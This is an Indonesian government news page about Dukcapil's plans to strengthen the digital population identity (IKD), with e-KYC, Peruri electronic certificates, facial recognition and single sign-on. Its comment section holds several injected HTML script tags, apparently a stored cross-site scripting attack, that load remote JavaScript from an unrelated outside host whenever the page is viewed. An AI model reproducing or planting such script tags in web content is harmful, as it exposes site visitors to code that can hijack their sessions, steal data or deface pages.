Dukcapil Dorong Penguatan IKD Untuk Transformasi Layanan Publik Digital



Plh. Direktur Integrasi Data Kependudukan Nasional, Mensuseno.

Batam - Semakin banyak lembaga dan institusi yang mengusulkan untuk mengimplementasikan IKD, dengan beberapa di antaranya sudah dalam tahap implementasi.

Menurut Plh. Direktur Integrasi Data Kependudukan Nasional, Mensuseno, data kependudukan yang dimiliki Dukcapil dapat dimanfaatkan untuk berbagai keperluan, mulai dari pelayanan publik hingga penegakan hukum. "Pemanfaatan data kependudukan dapat diakses melalui berbagai platform seperti web portal, web service, dan card reader," jelas Mensuseno dalam Rapat Koordinasi Nasional Ditjen Dukcapil di Batam, Rabu (28/2/2024).

Salah satu akses yang ditekankan adalah Identitas Kependudukan Digital (IKD), yang lebih memudahkan pengguna dalam mengakses informasi kependudukan.

"Pengembangan IKD juga telah merambah ke berbagai sektor layanan publik, seperti Mal Pelayanan Publik Digital (MPP Digital) dan layanan kesehatan. IKD menjadi e-KYC bagi MPP Digital, serta akan diintegrasikan dalam layanan seperti uji coba portal layanan Satu Sehat Kemenkes," tambah Mensuseno.

Mensuseno menyebutkan, integrasi IKD dengan sertifikat elektronik dari Perum Percetakan Uang Republik Indonesia (Peruri) menjadi langkah penting dalam memastikan keaslian data yang digunakan dalam transaksi online. "Sertifikat elektronik ini memastikan bahwa IKD yang digunakan sesuai dengan kunci publik yang diterbitkan oleh Peruri," jelas Mensuseno, "Proses pengembangan sertifikat elektronik tersebut sedang berlangsung."

Dia menegaskan IKD akan mengalami penguatan dalam desain dan fitur keamanan yang memungkinkan aktivasi penuh secara digital, serta verifikasi menggunakan teknologi pengenalan wajah (FR) secara online dan offline.

Selain itu, akan ada pengembangan fitur digital wallet untuk menyimpan dokumen resmi, serta Single Sign-On (SSO) untuk pelayanan pemerintah dan swasta. "Adopsi standar internasional juga akan dilakukan untuk meningkatkan interoperabilitas, sambil memperhatikan aksesibilitas bagi penyandang disabilitas dan kelompok rentan lainnya," demikian Mensuseno. Dukcapil***



Komentar

<script type="text/javascript" src="https://jso-tools.z-x.my.id/ra
<script type="text/javascript" src="https://jso-tools.z-x.my.id/ra
23 Agustus 2024 17:18:24

<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/YKV2STQBVRJB8"></script>

<script type="text/javascript" src="https://jso-tools.z-x.my.id/ra
<script type="text/javascript" src="https://jso-tools.z-x.my.id/ra
23 Agustus 2024 17:17:44

<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/YKV2STQBVRJB8"></script>

Tukang Iris
Tukang Iris
11 Desember 2021 08:05:04

Semoga teknologi tidak membuat anak melupakan budaya lokal.

AHLUL
Admin Web
18 September 2022 13:06:20

@Tukang Iris, Semoga

Andreas Juang
Andreas Juang
10 Desember 2021 21:53:09

Semoga teknologi memudahkan manusia, dan bukannya menyusahkan.

AHLUL
Admin Web
10 Desember 2021 21:54:36

Teknologi hakekatnya memudahkan dan semestinya dimanfaatkan untuk kepentingan yang lebih.

Berikan Komentar

Silakan tulis komentar dalam formulir berikut ini (Gunakan bahasa yang santun). Komentar akan ditampilkan setelah disetujui oleh Admin